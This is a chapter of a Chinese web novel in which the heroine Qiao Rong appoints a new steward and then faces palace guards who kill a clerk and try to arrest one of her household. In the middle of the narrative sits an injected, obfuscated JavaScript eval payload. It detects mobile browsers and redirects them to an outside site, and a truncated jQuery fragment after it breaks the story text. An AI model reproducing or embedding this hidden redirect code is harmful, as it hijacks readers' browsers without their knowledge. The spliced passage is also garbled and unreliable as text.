乔绒哪里还记得什么亏空,托着脸道,“那有何忧。”
越乾尉惊奇,“呃,小姐可有账房管家人选?”
乔绒把她母亲的产业全须全尾拿了回来,虽然从今以后不必再向国公府伸手要钱,但她眼下根本没有一个得力的管家操持这样的家业。
原身任人唯亲,那个齐玉大字都不识一个,刁蛮恶毒又横行霸道,想独断专权把持银子,在原身耳边吹风撵走了管家,跟账房伙计相互勾结,把府里弄得险些山穷水尽大家上街讨饭。
“现成的不是在么。”
“小姐说的是——”越乾尉疑惑不解。
乔绒指着窗棂外面一个身段亭亭玉立衣着鲜亮的少年,“那儿。”
正说话间,打扮鲜亮的柳双就走了进来,端端正正行了个礼,手里抱着一只枕头,“小姐金安,我绣了一对鸳鸯,送给小姐一只,小姐喜欢么?”
乔绒一看那两只鸳鸯栩栩如生,不知道他背地里下了多少功夫。这小子骄狂成那样,倒舍得对她下心思。
她忽然脸色一变,抓起了他的手,果然看到衣袖下面斑斑驳驳的伤痕。
“你怎么这样乱来!可有擦药?”柳双也只是个富贵人家的少爷,自是生的细皮嫩肉,哪里干的来这些活计。
柳双低垂着脸点了点头,眼光中透着期待,“小姐喜欢么?”
“枕头我收下了,但我不喜欢在枕头上绣花的人。”乔绒把腰一掐,狠狠唾弃道,“尤其是男子,软弱无能。”
“我喜欢的是会做账房,精明干练的人。”
“……小姐喜欢账房?”柳双从错愕中抬起头眼睛发亮。
“是啊,你行么?”
“我……不瞒小姐,我四岁就会算账目了,我还以为小姐讨厌那些贼眉鼠眼斤斤计较的家伙呢。”
他这话可没说错,原身最是讨厌别人精明算计,搞得这个其实很聪明的柳双一直在装傻弄痴。
“那好,从今以后,你总管所有账房出入,紫烟做你的副手,你管钱,她管人,若有不可裁夺之事,便来问我。”
乔绒将府库的钥匙一并交给了他。
柳双怔愣着,似乎不敢相信眼前的一切,“我……我一定不会辜负小姐!”
“衙门办事,全都给我出来!”
乔绒听到外面一阵嘈杂声和差役们的呼喊,惊讶地看向越乾尉,“你报官了?”
越乾尉连忙道,“卑职不敢擅自做主。”
“也罢,出去瞧瞧。”乔绒带着几个丫鬟,去往了前厅,还不忘安慰她们,“不用害怕。”
仆人们全都挤在院子里,颜思睿贺云熙他们都在,还有一个她不认识的英俊男子。
府衙的官差面色不善地打量着他们,乔绒把眉头一皱,敏锐地越过他们看向那四个身披斗篷头戴兜帽的人,虽然人数不多,却皆是统一装束,黑色的锦绣斗篷缀满金丝暗纹,兜帽低垂隐蔽面容,浑身密不透风。
哪怕从未见过,他们身上无一不散发着一种令她熟悉的味道。
那是无论何种伪装都抹杀不了的,她在杀手组织里混了三年,几乎每日都与这种味道作伴,那是血腥里拼杀出来的煞气。
她猜那斗篷之下必定身着细甲,腰间手不离刃,行动之间取人性命。
连越乾尉都神色恭谨,看来这些人来头不小,即便宫里出来的越大人都得往边上站。
“见过小姐。”其中一个黑色披风向她躬身行礼,声音倒是清冽干净。
“你们是什么人,有何贵干。”乔绒悄悄窥探那人的帽檐,但只能看到底下露出一截苍白尖俏的下巴。
府衙的官差不知道乔绒是谁,看她衣着平平,头上没什么金钗银饰,跟着的几个丫鬟还个个耳带玉坠腰佩环带,就连兰芝都比她穿得鲜丽显眼,只当是个最普通的丫鬟,立时恼怒呵斥道:“大胆奴才,什么狗眼,竟敢对大人无礼!”
黑色披风骤然白光一闪,乔绒都没看到他是如何拔剑的,那名官差就扑通倒地,鲜血直流,再也没有声息了。
上官百里一惊,心里忍不住夸赞,好凌厉的剑法,此人路数不凡。
乔绒腾得站起,一看那人的惨状便是没救了。
“谁让你杀人的?!”她抬眼瞪着那人,好似不曾看见他剑尖犹在滴血,脸上不带半点畏惧。
黑色斗篷忽然单膝着地,垂着头一言不发,好像任凭发落一般,乔绒端的是拿他毫无办法。
只有颜思睿心中微微讶异,这些黑鳞卫身份特殊,即便见了朝中大员也是不跪的,此刻哪怕魏国公亲自来了,也未必能劳动黑鳞卫行此大礼。
难道朝中有什么动静?颜思睿眸色一闪。
只有贺云熙微微抬眉,神色波澜不惊。
乔绒看向一旁战战兢兢府衙的官差们,微叹一口气,“速速将他收殓,发送钱我出。”
“你们还等什么,若没事我要送客了。”她冷冷道。
那人依然跪着,“听说小姐遇刺,属下特受钦派缉拿罪人。”
越乾尉朝她探头,在她耳边低声道:“小姐,许是国公派来。”
国公?且不论舅舅是否会有这么关心她,她早就看出,舅舅虽袭了国公爵位,手里却没有实权,能请得动这么厉害的角色?
她不动声色冷淡道:“那好,你们查就是,查出线索便来告诉我。”
她转身走入了内堂,越乾尉紧跟着她走了进来,“小姐。”
“他们是什么人。”
越乾尉把能说的都说了。
这些人属于皇宫大内,由于全都身披黑色的斗篷,行动之间快如闪电,金丝暗纹犹如锦鳞翻飞跳跃,所以得名黑鳞卫,整个大周朝只有皇室宗亲才配使用,杀些不三不四的人根本不在话下,也无需上报。
乔绒听到外面颜思睿的声音,似乎争执了起来,“程大人何必这么着急?”
“颜公子得罪了——”外面传来当啷一声。
他们竟然敢动颜思睿,那还了得?!
“住手!”乔绒赶忙冲了出去。
那人朝颜思睿拔出了剑,剑刚出鞘却转而刺向了他右侧的贺云熙。
剑上寒光凛凛,乔绒大惊失色,但是一旁的上官百里比她反应更快,瞬间一跃而起,抽出腰间短刀,当的一声,挡住了他的攻击。
贺云熙竟是原样端坐,连睫毛都未眨动,手里稳稳捧着茶盏。
“原来贺公子不会武功,在下多有得罪。”那人收回了剑,摘下兜帽,露出一张白皙清秀的脸庞,朝乔绒行礼,“小姐金安,属下程啸白。”
乔绒本来的怒火被冲淡,她惊讶地看着少年犹显青涩的面庞,他的身量高又十分消瘦,然而披着黑色斗蓬的时候根本让人看不出相貌和年岁。
大概那些死于他手下的人,绝不会想到这个出手如此狠辣的人,只不过才十六七岁的年纪。
程啸白面无表情地道:“当日意图谋害小姐之人,身手与此人非常相似,请小姐将他交与蜂场。”
众所周知,蜂场即是黑鳞卫的卫所,但凡活人进去了那个地方,没有全须全尾出来的,多少文官武将听到这个地方吓得面无人色。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17295078|198561||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
就算你身居宰相,万人之上,进了这个地方也得听天由命。
乔绒又开始睁着眼说瞎话,“哦?有何证据?凭什么你说是他就是他?”
贺云熙神色微动,轻描淡写地看了乔绒一眼,她竟袒护上官百里?这是不可能的,难道他猜错了,她本来就不知道是谁打昏了她?
上官百里虽是一头雾水,但也不信乔绒会袒护自己,指着程啸白冷笑道:“难不成你亲眼看见是我干的么?”
程啸白低头,却是对着乔绒道,“为免伤到贺公子,我那一剑没用内力;小姐千娇百贵,若只是打晕小姐,想必那人也没用内力。”
上官百里当时听到乔绒嘴里念叨留给妹妹什么的,忽然念及自己幼妹,没能下杀手,他素来看不起乔绒,若是用了内力,他觉着一掌就会打死她。
所以当时他确实没用内力,只是掌控了敲击穴位的力道,将她打晕的。
上官百里没想到这都会被程啸白说中,立刻咬牙反驳道:“那又怎么样!就凭这个你就能断定是我?”
程啸白面无表情,“蜂场行事无需断定,谋杀王公贵胄,只要有一分罪疑,即可缉拿归案。”
他自此之前根本没见过上官百里,也没验过乔绒的伤,本就不可能做到完全断定,但他还是凭借着敏锐的嗅觉在短短半个时辰以内就摸清楚了在场所有人。
“况且此刻我已有八分把握,刚才用剑与击晕小姐的速度相当,而此人在并无预料时分毫不差的接下我一剑,我想没有这么凑巧的事,上官公子不妨跟我走一趟。”
“小姐,其中细微之处,只要习武之人交手必能分辨得出,属下认为此人有重大嫌疑。”
乔绒哪里不知道上官百里的嫌疑,在场也无人怀疑他的谋虑和果断。
程啸白向贺云熙行礼,“刚才实属不得已,请贺公子见谅。”
贺云熙默然,在这种板上钉钉的事实面前,再替上官百里说一句话都是显而易见的狡辩。
程啸白挥手,后面三个黑衣斗篷立刻朝上官百里动手。
贺云熙桌案下的手腕一收,就在此际,乔绒突然道:“等等。”
程啸白马上躬身颔首。
她伸手扶住脑袋状若思索道,“你们这一动手抓人,使我想起那晚我似乎看见了偷袭我那人的模样,他生得膀大腰圆,黝黑粗壮,何其丑陋,怎么会是我府上的公子呢?哼!”
人人知道她府上的公子个个风流俊俏貌美如玉,故而那个凶手不仅不是上官百里,而且不可能是她府里任何一个公子。
但哪怕所有人都知道乔绒在瞎编,也没法反驳她,毕竟谁会袒护一个杀害自己的凶犯,捏造一个莫须有的人呢。
程啸白问道,“小姐此话当真?”
“我白纸黑字为证,兰芝,取纸笔来!”乔绒大笔一挥,落下一个指印,递给堂下让他速速结案。
“既然如此,为解公子清白,请小姐允许公子跟我们走一趟,事毕属下即刻将公子送回,请小姐见谅。”
“我跟你们去!”上官百里站出。
去了你就回不来了,乔绒心道,这小子一点也沉不住气,她敢肯定他没准三两句话就被程啸白全部诈出来了,到时候不仅贺云熙有麻烦,连带着叫她也不好收场。
“否则呢。”
乔绒今日已是接二连三因为上官百里施压黑鳞卫,连颜思睿都有些摸不到头脑。
“回小姐,只是缺少一个人证,倘或……”
她笑了笑,“这也简单,我就在当场,岂不比别人看的真切,我跟你们去就是。”